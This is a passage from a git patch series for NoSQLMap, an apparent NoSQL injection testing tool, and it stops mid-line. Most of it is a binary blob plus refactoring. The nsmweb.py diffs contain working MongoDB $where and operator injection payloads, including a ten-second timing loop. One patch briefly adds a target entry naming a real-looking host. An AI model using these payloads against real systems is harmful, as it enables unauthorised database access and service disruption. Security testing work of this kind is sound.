From 43e44d02c02ad1049dbf8fafc3355e924192d4a2 Mon Sep 17 00:00:00 2001 From: Michael Skelton Date: Thu, 14 Sep 2017 14:59:50 +1000 Subject: [PATCH 01/43] Update .gitignore --- .gitignore | 1 + .vs/slnx.sqlite | Bin 0 -> 73728 bytes 2 files changed, 1 insertion(+) create mode 100644 .vs/slnx.sqlite diff --git a/.gitignore b/.gitignore index 5f6726b..445bc6e 100644 --- a/.gitignore +++ b/.gitignore @@ -222,3 +222,4 @@ pip-log.txt *.iml *.pyproj *.sln +/.vs/ProjectSettings.json diff --git a/.vs/slnx.sqlite b/.vs/slnx.sqlite new file mode 100644 index 0000000000000000000000000000000000000000..60f908661cb579829481c1dd9fddc6ccbfd91b9f GIT binary patch literal 73728 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 Date: Thu, 14 Sep 2017 15:02:03 +1000 Subject: [PATCH 02/43] Delete slnx.sqlite --- .vs/slnx.sqlite | Bin 73728 -> 0 bytes 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 .vs/slnx.sqlite diff --git a/.vs/slnx.sqlite b/.vs/slnx.sqlite deleted file mode 100644 index 60f908661cb579829481c1dd9fddc6ccbfd91b9f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 73728 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 Date: Sat, 23 Sep 2017 19:33:26 +0700 Subject: [PATCH 03/43] Use Urllib Quote for parameter value --- nosqlmap.py | 11 ++++++----- nsmweb.py | 28 ++++++++++++++-------------- prison | 2 ++ 3 files changed, 22 insertions(+), 19 deletions(-) create mode 100644 prison diff --git a/nosqlmap.py b/nosqlmap.py index 1885ab8..d7df2da 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -1,3 +1,4 @@ +# -*- coding: utf-8 -*- #!/usr/bin/python # NoSQLMap Copyright 2012-2017 NoSQLMap Development team # See the file 'doc/COPYING' for copying permission @@ -55,11 +56,11 @@ def mainMenu(): mmSelect = True while mmSelect: os.system('clear') -  print " _ _ ___ ___ _ __ __           " -  print "| \| |___/ __|/ _ \| | | \/ |__ _ _ __ " -  print "| .` / _ \__ \ (_) | |__| |\/| / _` | '_ \" -  print "|_|\_\___/___/\__\_\____|_| |_\__,_| .__/" -  print " v0.7 codingo@protonmail.com      |_|   " + print " _ _ ___ ___ _ __ __           " + print "| \| |___/ __|/ _ \| | | \/ |__ _ _ __ " + print "| .` / _ \__ \ (_) | |__| |\/| / _` | '_ \\" + print("|_|\_\___/___/\__\_\____|_| |_\__,_| .__/") + print(" v0.7 codingo@protonmail.com      |_|   ") print "\n" print "1-Set options" print "2-NoSQL DB Access Attacks" diff --git a/nsmweb.py b/nsmweb.py index 3c99ed0..167de1e 100644 --- a/nsmweb.py +++ b/nsmweb.py @@ -915,24 +915,24 @@ def buildUri(origUri, randValue): if paramName[x] in injOpt: uriArray[0] += paramName[x] + "=" + randValue + "&" uriArray[1] += paramName[x] + "[$ne]=" + randValue + "&" - uriArray[2] += paramName[x] + "=a'; return db.a.find(); var dummy='!" + "&" - uriArray[3] += paramName[x] + "=1; return db.a.find(); var dummy=1" + "&" - uriArray[4] += paramName[x] + "=a'; return db.a.findOne(); var dummy='!" + "&" - uriArray[5] += paramName[x] + "=1; return db.a.findOne(); var dummy=1" + "&" - uriArray[6] += paramName[x] + "=a'; return this.a != '" + randValue + "'; var dummy='!" + "&" - uriArray[7] += paramName[x] + "=1; return this.a !=" + randValue + "; var dummy=1" + "&" + uriArray[2] += paramName[x] + "=" + urllib.quote("a'; return db.a.find(); var dummy='!") + "&" + uriArray[3] += paramName[x] + "=" + urllib.quote("1; return db.a.find(); var dummy=1") + "&" + uriArray[4] += paramName[x] + "=" + urllib.quote("a'; return db.a.findOne(); var dummy='!") + "&" + uriArray[5] += paramName[x] + "=" + urllib.quote("1; return db.a.findOne(); var dummy=1") + "&" + uriArray[6] += paramName[x] + "=" + urllib.quote("a'; return this.a != '" + randValue + "'; var dummy='!") + "&" + uriArray[7] += paramName[x] + "=" + urllib.quote("1; return this.a !=" + randValue + "; var dummy=1") + "&" uriArray[8] += paramName[x] + "[$gt]=&" - uriArray[9] += paramName[x] + "=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1" + "&" - uriArray[10] += paramName[x] + "=a\"; return db.a.find(); var dummy='!" + "&" - uriArray[11] += paramName[x] + "=a\"; return this.a != '" + randValue + "'; var dummy='!" + "&" - uriArray[12] += paramName[x] + "=a\"; return db.a.findOne(); var dummy=\"!" + "&" - uriArray[13] += paramName[x] + "=a\"; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=\"!" + "&" - uriArray[14] += paramName[x] + "a'; return true; var dum='a" + uriArray[9] += paramName[x] + "=" + urllib.quote("1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1") + "&" + uriArray[10] += paramName[x] + "=" + urllib.quote("a\"; return db.a.find(); var dummy='!") + "&" + uriArray[11] += paramName[x] + "=" + urllib.quote("a\"; return this.a != '" + randValue + "'; var dummy='!") + "&" + uriArray[12] += paramName[x] + "=" + urllib.quote("a\"; return db.a.findOne(); var dummy=\"!") + "&" + uriArray[13] += paramName[x] + "=" + urllib.quote("a\"; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=\"!") + "&" + uriArray[14] += paramName[x] + urllib.quote("a'; return true; var dum='a") uriArray[15] += paramName[x] + "1; return true; var dum=2" #Add values that can be manipulated for database attacks - uriArray[16] += paramName[x] + "=a\'; ---" + uriArray[16] += paramName[x] + "=" + urllib.quote("a\'; ---") uriArray[17] += paramName[x] + "=1; if ---" - uriArray[18] += paramName[x] + "=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!" + "&" + uriArray[18] += paramName[x] + "=" + urllib.quote("a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!") + "&" else: uriArray[0] += paramName[x] + "=" + paramValue[x] + "&" diff --git a/prison b/prison new file mode 100644 index 0000000..1c9da3a --- /dev/null +++ b/prison @@ -0,0 +1,2 @@ +prison-commissary.mysterious-hashes.net,80,/panda.php?id=1,GET,Not Set,Not Set,ON,OFF, +{} \ No newline at end of file From 71bcf456ba6c3380050a98bf33ad0074dd85f461 Mon Sep 17 00:00:00 2001 From: Michael <886344+codingo@users.noreply.github.com> Date: Tue, 26 Sep 2017 11:14:11 +1000 Subject: [PATCH 04/43] Update prison --- prison | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/prison b/prison index 1c9da3a..8b13789 100644 --- a/prison +++ b/prison @@ -1,2 +1 @@ -prison-commissary.mysterious-hashes.net,80,/panda.php?id=1,GET,Not Set,Not Set,ON,OFF, -{} \ No newline at end of file + From 98021fca70ff69e2f64e913a040538606723a4ba Mon Sep 17 00:00:00 2001 From: Michael <886344+codingo@users.noreply.github.com> Date: Tue, 26 Sep 2017 11:15:08 +1000 Subject: [PATCH 05/43] Delete prison --- prison | 1 - 1 file changed, 1 deletion(-) delete mode 100644 prison diff --git a/prison b/prison deleted file mode 100644 index 8b13789..0000000 --- a/prison +++ /dev/null @@ -1 +0,0 @@ - From 6c9fbe954cee594acc94472f1c7559c4cd3959cf Mon Sep 17 00:00:00 2001 From: Sudhanshu Chauhan Date: Tue, 26 Sep 2017 17:19:57 +0530 Subject: [PATCH 06/43] Update nsmweb.py --- nsmweb.py | 54 +++++++++++++++++++----------------------------------- 1 file changed, 19 insertions(+), 35 deletions(-) diff --git a/nsmweb.py b/nsmweb.py index 167de1e..4dd77c8 100644 --- a/nsmweb.py +++ b/nsmweb.py @@ -133,6 +133,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): else: print "Test 2: $where injection (string escape)" + print uriArray[2] req = urllib2.Request(uriArray[2], None, requestHeaders) errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) @@ -890,49 +891,31 @@ def buildUri(origUri, randValue): return x = 0 - uriArray[0] = split_uri[0] + "?" - uriArray[1] = split_uri[0] + "?" - uriArray[2] = split_uri[0] + "?" - uriArray[3] = split_uri[0] + "?" - uriArray[4] = split_uri[0] + "?" - uriArray[5] = split_uri[0] + "?" - uriArray[6] = split_uri[0] + "?" - uriArray[7] = split_uri[0] + "?" - uriArray[8] = split_uri[0] + "?" - uriArray[9] = split_uri[0] + "?" - uriArray[10] = split_uri[0] + "?" - uriArray[11] = split_uri[0] + "?" - uriArray[12] = split_uri[0] + "?" - uriArray[13] = split_uri[0] + "?" - uriArray[14] = split_uri[0] + "?" - uriArray[15] = split_uri[0] + "?" - uriArray[16] = split_uri[0] + "?" - uriArray[17] = split_uri[0] + "?" - uriArray[18] = split_uri[0] + "?" + for item in paramName: if paramName[x] in injOpt: uriArray[0] += paramName[x] + "=" + randValue + "&" uriArray[1] += paramName[x] + "[$ne]=" + randValue + "&" - uriArray[2] += paramName[x] + "=" + urllib.quote("a'; return db.a.find(); var dummy='!") + "&" - uriArray[3] += paramName[x] + "=" + urllib.quote("1; return db.a.find(); var dummy=1") + "&" - uriArray[4] += paramName[x] + "=" + urllib.quote("a'; return db.a.findOne(); var dummy='!") + "&" - uriArray[5] += paramName[x] + "=" + urllib.quote("1; return db.a.findOne(); var dummy=1") + "&" - uriArray[6] += paramName[x] + "=" + urllib.quote("a'; return this.a != '" + randValue + "'; var dummy='!") + "&" - uriArray[7] += paramName[x] + "=" + urllib.quote("1; return this.a !=" + randValue + "; var dummy=1") + "&" + uriArray[2] += paramName[x] + "=a'; return db.a.find(); var dummy='!" + "&" + uriArray[3] += paramName[x] + "=1; return db.a.find(); var dummy=1" + "&" + uriArray[4] += paramName[x] + "=a'; return db.a.findOne(); var dummy='!" + "&" + uriArray[5] += paramName[x] + "=1; return db.a.findOne(); var dummy=1" + "&" + uriArray[6] += paramName[x] + "=a'; return this.a != '" + randValue + "'; var dummy='!" + "&" + uriArray[7] += paramName[x] + "=1; return this.a !=" + randValue + "; var dummy=1" + "&" uriArray[8] += paramName[x] + "[$gt]=&" - uriArray[9] += paramName[x] + "=" + urllib.quote("1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1") + "&" - uriArray[10] += paramName[x] + "=" + urllib.quote("a\"; return db.a.find(); var dummy='!") + "&" - uriArray[11] += paramName[x] + "=" + urllib.quote("a\"; return this.a != '" + randValue + "'; var dummy='!") + "&" - uriArray[12] += paramName[x] + "=" + urllib.quote("a\"; return db.a.findOne(); var dummy=\"!") + "&" - uriArray[13] += paramName[x] + "=" + urllib.quote("a\"; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=\"!") + "&" - uriArray[14] += paramName[x] + urllib.quote("a'; return true; var dum='a") + uriArray[9] += paramName[x] + "=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1" + "&" + uriArray[10] += paramName[x] + "=a\"; return db.a.find(); var dummy='!" + "&" + uriArray[11] += paramName[x] + "=a\"; return this.a != '" + randValue + "'; var dummy='!" + "&" + uriArray[12] += paramName[x] + "=a\"; return db.a.findOne(); var dummy=\"!" + "&" + uriArray[13] += paramName[x] + "=a\"; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=\"!" + "&" + uriArray[14] += paramName[x] + "a'; return true; var dum='a" uriArray[15] += paramName[x] + "1; return true; var dum=2" #Add values that can be manipulated for database attacks - uriArray[16] += paramName[x] + "=" + urllib.quote("a\'; ---") + uriArray[16] += paramName[x] + "=a\'; ---" uriArray[17] += paramName[x] + "=1; if ---" - uriArray[18] += paramName[x] + "=" + urllib.quote("a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!") + "&" + uriArray[18] += paramName[x] + "=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } 